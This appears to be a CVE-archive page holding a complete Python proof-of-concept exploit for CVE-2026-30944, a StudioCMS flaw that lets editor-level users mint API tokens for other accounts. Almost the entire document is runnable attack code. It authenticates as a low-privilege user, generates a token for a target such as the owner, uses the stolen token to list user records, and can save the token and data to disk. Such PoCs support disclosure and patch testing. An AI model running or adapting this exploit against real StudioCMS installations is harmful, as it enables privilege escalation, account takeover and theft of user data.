5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve_2026_30944_poc.py PY
#!/usr/bin/env python3
"""
CVE-2026-30944 - StudioCMS Privilege Escalation via Insecure API Token Generation
Author: Filipe Gaudard
Date: 2026-03-10

Description:
    The /studiocms_api/dashboard/api-tokens endpoint allows any authenticated user
    (at least Editor) to generate API tokens for any other user, including owner and
    admin accounts. The endpoint fails to validate whether the requesting user is
    authorized to create tokens on behalf of the target user ID, resulting in a full
    privilege escalation.

    Affected versions: studiocms <= 0.3.0
    Fixed in: 0.4.0

References:
    - CVE: CVE-2026-30944
    - CWE: CWE-639, CWE-863
    - GHSA: GHSA-667w-mmh7-mrr4
    - CVSS: 8.8 (High)
"""

import argparse
import json
import sys
import os
from datetime import datetime

try:
    import requests
    from colorama import Fore, Style, init
    init(autoreset=True)
except ImportError:
    print("[!] Missing dependencies. Install with: pip install requests colorama")
    sys.exit(1)


# ─── Constants ────────────────────────────────────────────────────────────────

BANNER = f"""
{Fore.RED}╔══════════════════════════════════════════════════════════════════╗
║                                                                  ║
║   ██████╗██╗   ██╗███████╗    ██████╗  ██████╗ ██████╗ ██╗  ██╗ ║
║  ██╔════╝██║   ██║██╔════╝    ╚════██╗██╔═████╗╚════██╗██║  ██║ ║
║  ██║     ██║   ██║█████╗  ████╗█████╔╝██║██╔██║ █████╔╝███████║ ║
║  ██║     ╚██╗ ██╔╝██╔══╝  ╚═══╝╚═══██╗████╔╝██║██╔═══╝ ╚════██║ ║
║  ╚██████╗ ╚████╔╝ ███████╗    ██████╔╝╚██████╔╝███████╗     ██║ ║
║   ╚═════╝  ╚═══╝  ╚══════╝    ╚═════╝  ╚═════╝ ╚══════╝     ╚═╝ ║
║                                                                  ║
║  StudioCMS Privilege Escalation via API Token Generation         ║
║  BOLA / IDOR — CWE-639 | CVSS 8.8                               ║
║  Author: Filipe Gaudard                                          ║
║                                                                  ║
╚══════════════════════════════════════════════════════════════════╝{Style.RESET_ALL}
"""

ENDPOINTS = {
    "login": "/studiocms_api/auth/login",
    "api_tokens": "/studiocms_api/dashboard/api-tokens",
    "users": "/studiocms_api/rest/v1/users",
    "verify_session": "/studiocms_api/dashboard/verify-session",
}


# ─── Helper Functions ─────────────────────────────────────────────────────────

def log_success(msg):
    print(f"  {Fore.GREEN}[+]{Style.RESET_ALL} {msg}")

def log_info(msg):
    print(f"  {Fore.BLUE}[*]{Style.RESET_ALL} {msg}")

def log_warning(msg):
    print(f"  {Fore.YELLOW}[!]{Style.RESET_ALL} {msg}")

def log_error(msg):
    print(f"  {Fore.RED}[-]{Style.RESET_ALL} {msg}")

def log_header(msg):
    print(f"\n  {Fore.CYAN}{'─' * 60}")
    print(f"  {msg}")
    print(f"  {'─' * 60}{Style.RESET_ALL}")


# ─── Core Functions ───────────────────────────────────────────────────────────

def authenticate(session, base_url, username, password, verify_ssl=True):
    """Authenticate to StudioCMS and return session with auth cookie."""
    url = base_url + ENDPOINTS["login"]
    payload = {"username": username, "password": password}

    try:
        resp = session.post(url, json=payload, verify=verify_ssl, allow_redirects=False)

        if "auth_session" in session.cookies.get_dict():
            log_success(f"Authenticated as '{username}'")
            return True
        
        # Some versions redirect on success
        if resp.status_code in (301, 302, 303):
            log_success(f"Authenticated as '{username}' (redirect)")
            return True

        log_error(f"Authentication failed for '{username}' (HTTP {resp.status_code})")
        return False

    except requests.exceptions.ConnectionError:
        log_error(f"Connection failed to {base_url}")
        return False


def verify_session(session, base_url, verify_ssl=True):
    """Verify current session and return user info."""
    url = base_url + ENDPOINTS["verify_session"]
    payload = {"originPathname": base_url + "/dashboard"}

    try:
        resp = session.post(url, json=payload, verify=verify_ssl)
        if resp.status_code == 200:
            data = resp.json()
            if data.get("isLoggedIn"):
                user = data.get("user", {})
                level = data.get("permissionLevel", "unknown")
                return {
                    "id": user.get("id"),
                    "name": user.get("name"),
                    "username": user.get("username"),
                    "email": user.get("email"),
                    "permissionLevel": level,
                }
        return None
    except Exception:
        return None


def generate_token_for_user(session, base_url, target_uuid, description="CVE-2026-30944", verify_ssl=True):
    """Exploit: Generate an API token for an arbitrary user (IDOR)."""
    url = base_url + ENDPOINTS["api_tokens"]
    payload = {
        "user": target_uuid,
        "description": description,
    }

    try:
        resp = session.post(url, json=payload, verify=verify_ssl)

        if resp.status_code == 200:
            data = resp.json()
            token = data.get("token")
            if token:
                return token
            log_warning("Response 200 but no token in body")
            return None

        elif resp.status_code == 403:
            log_info("Access denied (403 Forbidden) — endpoint may be patched")
            return None

        else:
            log_error(f"Unexpected response: HTTP {resp.status_code}")
            try:
                log_error(f"Body: {resp.text[:200]}")
            except Exception:
                pass
            return None

    except requests.exceptions.ConnectionError:
        log_error(f"Connection failed to {base_url}")
        return None


def verify_token_access(base_url, token, verify_ssl=True):
    """Verify the stolen token by accessing the users API endpoint."""
    url = base_url + ENDPOINTS["users"]
    headers = {"Authorization": f"Bearer {token}"}

    try:
        resp = requests.get(url, headers=headers, verify=verify_ssl)

        if resp.status_code == 200:
            data = resp.json()
            return data

        log_warning(f"Token verification returned HTTP {resp.status_code}")
        return None

    except Exception as e:
        log_error(f"Token verification failed: {e}")
        return None


def list_users(base_url, token, verify_ssl=True):
    """List all users using the stolen token."""
    url = base_url + ENDPOINTS["users"]
    headers = {"Authorization": f"Bearer {token}"}

    try:
        resp = requests.get(url, headers=headers, verify=verify_ssl)

        if resp.status_code == 200:
            return resp.json()
        return None
    except Exception:
        return None


def save_results(data, filename):
    """Save exploitation results to JSON file."""
    with open(filename, "w") as f:
        json.dump(data, f, indent=2, default=str)
    log_success(f"Results saved to {filename}")


# ─── Exploitation Modes ──────────────────────────────────────────────────────

def manual_exploit(args):
    """Manual exploitation: authenticate and generate token for target UUID."""
    log_header("PHASE 1: Authentication")

    session = requests.Session()
    if not authenticate(session, args.url, args.username, args.password, args.verify_ssl):
        return

    # Verify attacker's session
    user_info = verify_session(session, args.url, args.verify_ssl)
    if user_info:
        log_info(f"Session user: {user_info['name']} ({user_info['permissionLevel']})")
        log_info(f"Session UUID: {user_info['id']}")
    else:
        log_warning("Could not verify session details")

    log_header("PHASE 2: Privilege Escalation")
    log_info(f"Target UUID: {args.uuid}")
    log_info("Generating API token for target user...")

    token = generate_token_for_user(session, args.url, args.uuid, verify_ssl=args.verify_ssl)

    if not token:
        log_error("Exploitation failed — token not generated")
        return

    log_success("API token generated successfully!")
    log_warning(f"Token: {token[:50]}...")

    log_header("PHASE 3: Verification")
    log_info("Verifying token access on REST API...")

    users_data = verify_token_access(args.url, token, args.verify_ssl)

    if users_data:
        log_success("VULNERABILITY CONFIRMED — Full API access achieved!")
        log_info(f"Retrieved {len(users_data) if isinstance(users_data, list) else 'unknown'} user records")

        if isinstance(users_data, list):
            print()
            for user in users_data[:5]:
                name = user.get("name", "N/A")
                uid = user.get("id", "N/A")
                log_info(f"  User: {name} | ID: {uid}")
            if len(users_data) > 5:
                log_info(f"  ... and {len(users_data) - 5} more")
    else:
        log_warning("Token generated but API access could not be verified")

    # Save results
    if args.save:
        results = {
            "cve": "CVE-2026-30944",
            "timestamp": datetime.now().isoformat(),
            "target": args.url,
            "attacker": user_info if user_info else {"username": args.username},
            "target_uuid": args.uuid,
            "token": token,
            "users_data": users_data,
            "vulnerable": users_data is not None,
        }
        save_results(results, f"cve_2026_30944_{args.uuid[:8]}.json")


def auto_test(args):
    """Automated testing with multiple roles to confirm vulnerability."""
    log_header("AUTOMATED VULNERABILITY TEST")
    log_info(f"Target: {args.url}")
    log_info(f"Target UUID: {args.uuid}")

    results = {}
    test_accounts = []

    if args.editor_user and args.editor_pass:
        test_accounts.append(("Editor", args.editor_user, args.editor_pass))
    if args.visitor_user and args.visitor_pass:
        test_accounts.append(("Visitor", args.visitor_user, args.visitor_pass))

    if not test_accounts:
        log_error("No test accounts provided. Use --editor-user/--editor-pass or --visitor-user/--visitor-pass")
        return

    for role_label, username, password in test_accounts:
        log_header(f"Testing as {role_label}: {username}")

        session = requests.Session()

        if not authenticate(session, args.url, username, password, args.verify_ssl):
            results[role_label] = {"status": "auth_failed"}
            continue

        user_info = verify_session(session, args.url, args.verify_ssl)
        if user_info:
            log_info(f"Detected role: {user_info['permissionLevel']}")

        log_info("Attempting to generate token for target user...")
        token = generate_token_for_user(session, args.url, args.uuid, verify_ssl=args.verify_ssl)

        if token:
            log_success(f"Token generated as {role_label}!")

            users_data = verify_token_access(args.url, token, args.verify_ssl)
            if users_data:
                log_warning(f"VULNERABILITY CONFIRMED for role: {role_label}")
                results[role_label] = {
                    "status": "vulnerable",
                    "token": token[:50] + "...",
                    "api_access": True,
                }
            else:
                results[role_label] = {
                    "status": "token_generated_no_api_access",
                    "token": token[:50] + "...",
                }
        else:
            log_info(f"Token generation denied for {role_label}")
            results[role_label] = {"status": "not_vulnerable"}

    # Summary
    log_header("TEST SUMMARY")
    vulnerable = any(r.get("status") == "vulnerable" for r in results.values())

    for role, result in results.items():
        status = result.get("status", "unknown")
        if status == "vulnerable":
            log_warning(f"{role}: VULNERABLE — token generated + API access confirmed")
        elif status == "token_generated_no_api_access":
            log_warning(f"{role}: PARTIALLY VULNERABLE — token generated")
        elif status == "not_vulnerable":
            log_success(f"{role}: NOT VULNERABLE — access denied")
        elif status == "auth_failed":
            log_error(f"{role}: AUTHENTICATION FAILED")

    print()
    if vulnerable:
        log_warning("SYSTEM IS VULNERABLE TO CVE-2026-30944")
    else:
        log_success("SYSTEM APPEARS PATCHED")

    if args.save:
        save_results(results, "cve_2026_30944_autotest.json")


# ─── Main ─────────────────────────────────────────────────────────────────────

def parse_args():
    parser = argparse.ArgumentParser(
        description="CVE-2026-30944 — StudioCMS Privilege Escalation PoC",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Manual exploitation
  python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 --uuid <owner-uuid>

  # Automated testing
  python3 %(prog)s -u http://localhost:4321 --auto-test --editor-user editor01 --editor-pass pass123 --uuid <owner-uuid>

  # Save results
  python3 %(prog)s -u http://localhost:4321 --username editor01 --password pass123 --uuid <owner-uuid> --save
        """,
    )

    parser.add_argument("-u", "--url", required=True, help="Target StudioCMS base URL")
    parser.add_argument("--uuid", required=True, help="Target user UUID (e.g., owner UUID)")

    # Manual mode
    manual = parser.add_argument_group("Manual Mode")
    manual.add_argument("--username", help="Username for authentication")
    manual.add_argument("--password", help="Password for authentication")

    # Auto test mode
    auto = parser.add_argument_group("Automated Test Mode")
    auto.add_argument("--auto-test", action="store_true", help="Enable automated multi-role testing")
    auto.add_argument("--editor-user", help="Editor account username")
    auto.add_argument("--editor-pass", help="Editor account password")
    auto.add_argument("--visitor-user", help="Visitor account username")
    auto.add_argument("--visitor-pass", help="Visitor account password")

    # Optional
    parser.add_argument("--save", action="store_true", help="Save results to JSON file")
    parser.add_argument("--no-ssl-verify", action="store_true", help="Disable SSL certificate verification")

    return parser.parse_args()


def main():
    print(BANNER)

    args = parse_args()
    args.url = args.url.rstrip("/")
    args.verify_ssl = not args.no_ssl_verify

    if args.no_ssl_verify:
        import urllib3
        urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

    if args.auto_test:
        auto_test(args)
    elif args.username and args.password:
        manual_exploit(args)
    else:
        log_error("Provide --username/--password for manual mode or --auto-test for automated testing")
        sys.exit(1)


if __name__ == "__main__":
    main()